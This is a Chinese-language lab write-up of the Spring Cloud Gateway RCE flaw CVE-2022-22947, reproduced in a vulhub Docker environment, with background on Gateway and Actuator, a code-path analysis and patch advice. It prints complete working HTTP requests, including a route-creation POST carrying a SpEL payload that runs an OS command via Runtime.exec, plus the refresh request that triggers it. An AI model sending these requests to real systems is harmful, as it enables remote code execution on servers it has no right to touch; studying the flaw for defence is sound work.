CVE-2022-22947 Spring Cloud Gateway RCE漏洞复现分析

2023-10-26

目录

(一)基本介绍

1、微服务架构与Spring Cloud

2、Spring Cloud生态

3、网关作用

4、Spring Cloud Gateway使用

5、Spring Cloud Gateway概念

5.1 路由(Route)

5.2 断言(Predicate)

5.3 过滤器(Filter)

6、Spring Boot  Actuator

6.1 使用方法

7、Gateway(网关服务)和Actuator(监控组件)

8、Actuator操作Gateway接口列表

9、总结

(二)漏洞复现

1、启动Spring Cloud Gateway服务

2、添加过滤器

2.1  首先,修改GET /actuator请求,确定actuator端口已经开启

 2.2 修改get请求,获取路由信息GET /actuator/gateway/routes/

 2.3 然后,构造一个post请求包,POST /actuator/gateway/routes/hackest 添加一个包含恶意SpEL表达式的路由:

3、刷新过滤器

​编辑

4、访问过滤器ID

(三)原理分析

分析payload:(hacker的Java学的......)

在哪里执行:

1、ConfigurationService类

 2、ShortcutConfigurable类

 3、getValue()方法

(四)漏洞修补

1、升级更新到以下版本:

2、缓解措施:


         由于笔者个人水平有限,行文如有不当,还请各位师傅评论指正,非常感谢

(一)基本介绍


1、微服务架构与Spring Cloud


        最开始我们去开发Java项目的时候,所有的代码都在一个工程里面。它会打包成一个框架包,部署在github里面,这个我们就叫做单体架构。当我们项目的代码量越来越大,开发成员越来越多的时候,这个时候项目的性能和协同开发的效率都会存在许多的问题,所以对于这样的项目,我们需要把这些项目拆分为不同的服务,包括订单服务、用户服务、商品服务、物流服务......正是因为有了这些服务,引入了网关、注册中心、配置中心......(如图一)

图一

2、Spring Cloud生态


        Spring开发团队在SpringBoot的基础上开发了Spring Cloud全家桶,也就是说我们需要使用的SpringBoot的所有组件都有了现成的解决方案,比如Eureka、Ribbon、OpenFeign、Hystrix、 Config、Zuul......这次报出漏洞的组件是Gateway

3、网关作用


  • 智能路由
  • 负载均衡
  • 协议转换
  • 权限校验
  • 限流熔断
  • 黑白名单
  • API监控
  • 日志审计

4、Spring Cloud Gateway使用


        在pom.xml引入依赖即可。

<dependency> 
    <groupId>org.springframework.cloud</groupId> 
    <artifactId>spring-cloud-starter-gateway</artifactId>    
</dependency>

5、Spring Cloud Gateway概念


5.1 路由(Route)

        我作为用户访问到网关的时候,会从后面选择一个服务进行访问,根据你的HTTP的协议里面或者服务与服务进行调用的地址里面,根据你的URI进行匹配。

5.2 断言(Predicate)

        相对于URI会更加高级,可以匹配HTTP请求里面的任意内容,比如说你的HTTP的请求头里面包含了什么字段,它的值是什么的时候,就会给你转发到相应的地址;再比如说你请求的参数,不管是GET还是POST,只要我可以匹配得上,就会给你匹配到相应的地址,也是路由的一种方式......

5.3 过滤器(Filter)

        它可以修改HTTP请求及响应的内容,当你HTTP请求或者响应满足什么样的内容的时候,它会修改HTTP的内容.

6、Spring Boot  Actuator


        它是Spring Boot的一个监控的组件,可以对其他Spring Boot的部件进行健康检查、 审计、统计、HTTP追踪......

6.1 使用方法

        在pom文件里面引入依赖即可。

<dependencies>
 <dependency> 
    <groupId>org.springframework.boot</groupId> 
    <artifactId>spring-boot-starter-actuator</artifactId> 
 </dependency> 
</dependencies>

7、Gateway(网关服务)和Actuator(监控组件)


        由于Spring Cloud Gateway也是一种微服务的应用,所以说它也可以让Actuator进行监控,添加配置即可:

management.endpoint.gateway.enabled=true 
management.endpoints.web.exposure.include=gateway

8、Actuator操作Gateway接口列表


http://host:port/actuator/gateway/ id
id HTTP Method description
globalfilters GET 返回全局Filter列表
routefilers GET 每个路由的filter
routes GET 路由列表
routes/{id} GET 指定路由信息
routes/{id} POST 创建路由

refresh

POST 刷新路由缓存
DELETE POST 删除路由

9、总结


        Spring Cloud Gateway是基于Spring Framework和Spring Boot构建的API网关,它旨在为微服务架构提供一种简单、有效、统一的API路由管理方式。

        Spring官方博客发布了一篇关于Spring Cloud Gateway的CVE报告,据公告描述,当启用和暴露Gateway Actuator端点时,使用Spring Cloud Gateway的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求,从而远程执行任意代码。

(二)漏洞复现


git pull //更新vulhub

进入环境/vulhub/spring/CVE-2022-22947

1、启动Spring Cloud Gateway服务


docker-compose up -d

 

docker-compose ps //查看端口

 

查看本CentOS的IP

 访问该端口

2、添加过滤器


2.1  首先,修改GET /actuator请求,确定actuator端口已经开启

图二

 2.2 修改get请求,获取路由信息GET /actuator/gateway/routes/

当前只有路由index,该路有默认跳转到uri:http://example.com:80

图三

 2.3 然后,构造一个post请求包,POST /actuator/gateway/routes/hackest 添加一个包含恶意SpEL表达式的路由:

图四

 

POST /actuator/gateway/routes/hackest HTTP/1.1
Host: yourIp:8080
Cache-Control:max-age=0
Upgrade-Insecurce-Requests:1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: */*
Accept-Language: en
Accept-Encoding: gzip, deflate
Connection: close
Content-Type:application/json
Content-Length: 352


{
"id": "wuyaaq",

"filters": [

{
"name": "AddResponseHeader",

"args": {
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",

"name": "cmd"

}

}

],

"uri": "http://example.com:80",

"order": 0

}

3、刷新过滤器


POST /actuator/gateway/refresh

POST /actuator/gateway/refresh HTTP/1.1 
Host: yourIp:8080 
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 
Accept-Encoding: gzip, deflate 
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 
Connection: keep-alive 
Content-Length: 3 
Content-Type: application/x-www-form-urlencoded
Origin: null Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: cross-site Upgrade-Insecure-Requests: 1 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0 

a=1

 

 

4、访问过滤器ID


 记得关闭:docker-compose down

 

(三)原理分析


           根据上面的演示,我们会产生这样的一个问题,为什么添加过滤器(路由)会导致代码执行?我们一步步进行分析:

        我们在vulhub里面开启了actuator功能,上面第一步我们也检测了actuator端口是否打开(图二),打开之后我们就可以利用此接口,比如说我们用/actuator/gateway/routes列出路由(图三)里面就有默认的路由器,然后通过/gateway/routes/{id_route_to_create}(图四)来添加一个路由,再通过/actuator/gateway/refresh刷新路由,当路由带有恶意的Filter,里面的spEL)(里面文章有详细介绍)表达式会被执行

 

分析payload:(hacker的Java学的......)


#{ new
String( T(org.springframework.util.StreamUtils).copyToByteArray (T(java.lang.Runtime).getRuntime().
exec (new String[]{\"whoami\"}) .getInputStream() ) ) }
  1. (new String[]{\"whoami\"})创建一个字符串,里面有我们想要执行的命令
  2. (java.lang.Runtime).getRuntime(). exec  在Java代码里面我们如果想执行操作系统的命令,都是利用(java.lang.Runtime).getRuntime().exec(  ),getInputStream()得到该执行的结果。
  3. 使用StreamUtils里面的copyToByteArray()的方法,把这个执行的结果转换为字节数组,
  4. 最后再new String把它转换为字符串。

在哪里执行:


1、ConfigurationService类

        normalizeProperties()对参数(value就是参数)进行处理,它会调用normalize的方法。

 2、ShortcutConfigurable类

        它会调用getValue()方法

 3、getValue()方法

         Expression会对spEL表达式进行处理,得到这个表达式,然后从cotext里面拿到值。

(四)漏洞修补


1、升级更新到以下版本:

  • Spring Cloud Gateway >= 3.1.1
  • Spring Cloud Gateway >= 3.0.7

2、缓解措施:

1.如果不需要Gateway actuator endpoint,可通过 management.endpoint.gateway.enabled: false 禁用它。


 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

CVE-2022-22947 Spring Cloud Gateway RCE漏洞复现分析 的相关文章

  • 掌握内网渗透之道,成为实战高手,看《内网渗透实战攻略》就够了

    文末送书 文末送书 今天推荐一本网络安全领域优质书籍 内网渗透实战攻略 文章目录 前言 如何阅读本书 目录 文末送书 前言 当今 网络系统面临着越来越严峻的安全挑战 在众多的安全挑战中 一种有组织 有特定目标 长时间持续的新型网络攻击日益猖
  • 使用Java版工程行业管理系统源码,提升工程项目的综合管理能力

    工程项目管理涉及众多环节和角色 如何实现高效协同和信息共享是关键 本文将介绍一个采用先进技术框架的Java版工程项目管理系统 该系统支持前后端分离 功能全面 可满足不同角色的需求 从项目进度图表到施工地图 再到系统管理和统计报表 该系统为工
  • 信号浪涌保护器的原理和行业应用方案

    信号浪涌保护器 Surge Protective Device 简称SPD 是一种用于限制信号线路中瞬态过电压和分泄浪涌电流的防雷装置 主要用于保护各类信号线路及设备的防雷安全 信号浪涌保护器的原理是利用气体放电管 压敏电阻 齐纳二极管等非
  • J2EE常见面试题(一)

    StringBuilder和StringBuffer的区别 String 字符串常量 不可变 使用字符串拼接时是不同的2个空间 StringBuffer 字符串变量 可变 线程安全 字符串拼接直接在字符串后追加 StringBuilder
  • 用户数据中的幸存者偏差

    幸存者偏差 Survivorship bias 是一种常见的逻辑谬误 意思是没有考虑到筛选的过程 忽略了被筛选掉的关键信息 只看到经过筛选后而产生的结果 先讲个故事 二战时 无奈德国空防强大 盟军战机损毁严重 于是军方便找来科学家统计飞机受
  • Android开发中常见安全问题和解决方案

    前言 开发APP时经常有问到 APP的安全怎么保障 应用程序被PJ了怎么办 手机被人捡去了怎么办 特别在号称 安全第一 风控牛逼 的银行系统内 移动产品安全性仍被持有怀疑态度 那我们来总结下APP安全的方向和具体知识 1 应用程序安全 2
  • 200道网络安全常见面试题合集(附答案解析+配套资料)

    有不少小伙伴面临跳槽或者找工作 本文总结了常见的安全岗位面试题 方便各位复习 祝各位事业顺利 财运亨通 在网络安全的道路上越走越远 所有的资料都整理成了PDF 面试题和答案将会持续更新 因为无论如何也不可能覆盖所有的面试题 php爆绝对路径
  • 通俗易懂,十分钟读懂DES,详解DES加密算法原理,DES攻击手段以及3DES原理

    文章目录 1 什么是DES 2 DES的基本概念 3 DES的加密流程 4 DES算法步骤详解 4 1 初始置换 Initial Permutation IP置换 4 2 加密轮次 4 3 F轮函数 4 3 1 拓展R到48位 4 3 2
  • 【网安神器篇】——WPScan漏洞扫描工具

    目录 一 Wordpress简介 二 WPScan介绍 三 安装 四 获取token 1 注册账号 2 拿到token 五 使用教程 1 常用选项 2 组合命令 1 模糊扫描 2 指定扫描用户 3 插件漏洞扫描 4 主题漏洞扫描 5 Tim
  • 小白入门黑客之渗透测试(超详细)基本流程(内附工具)

    经常会收到小伙伴们这样的私信 为什么我总是挖不到漏洞呢 渗透到底是什么样的流程呢 所以全网最详细的渗透测试流程来了 渗透测试其实就是通过一些手段来找到网站 APP 网络服务 软件 服务器等网络设备和应用的漏洞 告诉管理员有哪些漏洞 怎么填补
  • 渗透测试常用工具汇总_渗透测试实战

    1 Wireshark Wireshark 前称Ethereal 是一个网络分包分析软件 是世界上使用最多的网络协议分析器 Wireshark 兼容所有主要的操作系统 如 Windows Linux macOS 和 Solaris kali
  • 数据加密保障数据安全

    一 目标 1 1 预研需求 数据加密是安全领域中常用的安全措施 它们的主要作用是保护数据的机密性和完整性 以防止未经授权的访问 窃取 篡改或泄漏敏感信息 数据传输加密 保护敏感数据在传输过程中的安全 当数据通过网络传输时 它们可能会经过多个
  • 内网安全:隧道技术详解

    目录 隧道技术 反向连接技术 反向连接实验所用网络拓扑图及说明 网络说明 防火墙限制说明 实验前提说明 实战一 CS反向连接上线 拿下Win2008 一 使用转发代理上线创建监听器 二 上传后门执行上线 隧道技术 SMB协议 SMB协议介绍
  • 免费小程序商城搭建之b2b2c o2o 多商家入驻商城 直播带货商城 电子商务b2b2c o2o 多商家入驻商城 直播带货商城 电子商务

    1 涉及平台 平台管理 商家端 PC端 手机端 买家平台 H5 公众号 小程序 APP端 IOS Android 微服务平台 业务服务 2 核心架构 Spring Cloud Spring Boot Mybatis Redis 3 前端框架
  • 全网最全(黑客)网络安全自学路线!熬夜两周整理(巨详细)

    学网络安全有什么好处 1 可以学习计算机方面的知识 在正式学习网络安全之前是一定要学习计算机基础知识的 只要把网络安全认真的学透了 那么计算机基础知识是没有任何问题的 操作系统 网络架构 网站容器 数据库 前端后端等等 可以说不想成为计算机
  • 【无标题】

    大家都知道该赛项的规程和样题向来都是模棱两可 从来不说具体的内容 导致选手在备赛时没有头绪 不知道该怎么训练 到了赛时发现题目和备赛的时候完全不一样 那么本文将以往年信息安全管理与评估赛项经验来解读今年2023年国赛的规程 帮助选手们指明方
  • 【安全】原型链污染 - Hackit2018

    目录 准备工作 解题 代码审计 Payload 准备工作 将这道题所需依赖模块都安装好后 运行一下 然后可以试着访问一下 报错是因为里面没内容而已 不影响 准备工作就做好了 解题 代码审计 const express require exp
  • 【安全】使用docker安装Nessus

    目录 一 准备docker环境服务器 略 二 安装 2 1 搜索镜像 2 2 拉取镜像 2 3 启动镜像 三 离线更新插件 3 1 获取challenge 3 2 官方注册获取激活码 3 3 使用challenge码和激活码获取插件下载地址
  • SpringCloud Bus动态刷新全局广播

    文章目录 代码地址 配置项目 配置修改 测试 SpringCloud Bus动态刷新定点通知 代码地址 地址 https github com 13thm study springcloud tree main days11 20Bus 配
  • 网络安全行业热门认证证书合集

    网络安全认证证书 就和学历一样是敲门砖 拿到了可以用不到 但不能没有 技术大牛可以没有证书 但普通人不能没有 1 初级入门 就像学历在职场上展示一个人的基本素养一样 网络安全认证证书可以展示一个人在网络安全领域具备的基本知识和技能 它为初学

随机推荐

  • shell输入内容时不显示内容

    简介 大家都知道当我们ssh登录linux服务器的时候输入密码密码是不显示在屏幕上的 同样在我们写shell脚本的时候在获取用户密码的时候 有时候也希望不显示密码 这个是怎么做的呢 实例脚本 bin bash echo 请输入密码 stty
  • pytorch输出tensor维度时报错:built-in method size of Tensor object at 0x7f2051c31ea0

    使用python输出某tensor的维度 print tensor size 出现报错 built in method size of Tensor object at 0x7f2051c31ea0 原因是size后面少了括号 加上即可 p
  • Linux 安装jenkins和jdk11

    Linux 安装jenkins和jdk11 1 Install Jdk11 2 Jenkins Install 2 1 Install Jenkins 2 2 Start 2 3 Error 3 Awakening 1 1 Big Data
  • opencv_contrib_python-3.4.0.12-cp36-cp36m(32位 64位)百度云资源

    官方下载地址下载太慢 贴一个百度云的地址 https pan baidu com s 1gguVL55 32位 https pan baidu com s 1bqP8c0Z 64位
  • STL标准模板库

    目录 一 容器 1 所有容器 2 常用容器 3 容器主要用法 4 resize和reserve 二 关系模型 1 谁需要关系 2 运算符最小集 3 弱序关系和严格弱序关系 4 相等关系 5 序关系和相等关系的关系 三 算法 1 sort函数
  • 华为机试HJ2-计算字符串中给定字符出现次数

    输入字符串以及特定字符 计算字符串中特定字符出现次数 include
  • spring cloud mybatis+mysql实现对数据库数据的访问

    MyBatis 是一款优秀的持久层框架 它支持定制化 SQL 存储过程以及高级映射 MyBatis 避免了几乎所有的 JDBC 代码和手动设置参数以及获取结果集 MyBatis 可以使用简单的 XML 或注解来配置和映射原生类型 接口和 J
  • Linux指令

    1 pwd 显示当前用户所处的工作路径 2 ls 列出当前目录下所有文件和文件夹 ls 选项 常见的命令 ls l 显示文件的具体信息 文件的属性 大小 一行显示一个文件 ls a 显示所有的文件和文件夹 包含了以 开头的隐藏文件和文件夹
  • $(function(){})和$(document).ready(function(){})

    document ready和onload的区别 JavaScript文档加载完成事件 页面加载完成有两种事件 一是ready 表示文档结构已经加载完成 不包含图片等非文字媒体文件 二是onload 指示页面包含图片等文件在内的所有元素都加
  • R语言-多元统计学分析课程报告

    本文我们应用的软件为R语言 进行多元统计分析 所用的数据集为鸢尾花数据集 我们进行了Bayes判别 Fisher判别 系统聚类法 k 均值聚类和主成分分析 导入鸢尾花数据集 data lt read csv E 数学专业 多元统计学上机作业
  • 【Windows】win10任务栏图标空白的解决方案

    win10任务栏图标空白的解决方案 一 错误原因 在 Windows 10 系统中 为了加速图标的显示 当第一次对图标进行显示时 系统会对文件或程序的图标进行缓存 之后 当我们再次显示该图标时 系统会直接从缓存中读取数据 从而大大加快显示速
  • h5跳转小程序

    h5跳转小程序 我的所写的项目是react框架 在h5跳转小程序时 需要引入wx jssdk 具体操作看我上篇文章 https blog csdn net weixin 45315794 article details 122448088
  • Spring中@Autowired注解、J2EE @Resource注解的区别

    Spring不但支持自己定义的 Autowired注解 还支持几个由JSR 250规范定义的注解 它们分别是 Resource PostConstruct以及 PreDestroy Resource的作用相当于 Autowired 只不过
  • Android逆向工程:MIUI系统大揭秘:去不掉的小米账号!

    哈喽小伙伴们大家好 欢迎继续学习探讨MIUI系统的安全防范知识 在上篇博客中 Android逆向工程 带你领略MIUI系统的账号安全防范机制 账号是从哪里获取的 我们了解到了MIUI系统通过对关键代码进行封装进系统内 对外采用统一调用接口的
  • Web集群部署实战

    Web集群部署实战 Web集群架构图 系统规划 实验要求 购买一个 SFS 服务 以及 3 台云主机 部署 apache php 的网站 购买云主机3台 部署网页数据 挂载 SFS 服务到跳板机 root ecs proxy dnf ins
  • Docker

    参考资料 官方文档 Redirecting 官方文档超级详细 仓库地址 Docker Hub 发布到仓库 git pull push b站教程 狂神说Java Docker最新超详细版教程通俗易懂 哔哩哔哩 bilibili 这个教程非常简
  • 详解Python迭代器,生成器,装饰器

    文章目录 迭代器 迭代器协议 迭代器协议实现斐波那契数列 生成器 装饰器 装饰器进阶骚操作 迭代器 简介 迭代器是python里面可以记住遍历位置的对象 迭代器只能往前不能往后 使用iter 创建一个迭代器 使用next 返回一个迭代器里面
  • 嵌入式--RTC实时时钟原理及相关库函数功能

    一 RTC实时时钟原理 1 RTC实时时钟是一个独立的定时器 可以提供日期时间或者闹钟的功能 其核心是通过32位可编程计数器RTC CNT计数来进行时间配置 2 图1中RTCCLK为RTC时钟源 其主要是由外部晶振提供时钟源 一般为32 7
  • 数据结构单链表——建立单链表

    0 建立单链表前的工作 include
  • CVE-2022-22947 Spring Cloud Gateway RCE漏洞复现分析

    目录 一 基本介绍 1 微服务架构与Spring Cloud 2 Spring Cloud生态 3 网关作用 4 Spring Cloud Gateway使用 5 Spring Cloud Gateway概念 5 1 路由 Route 5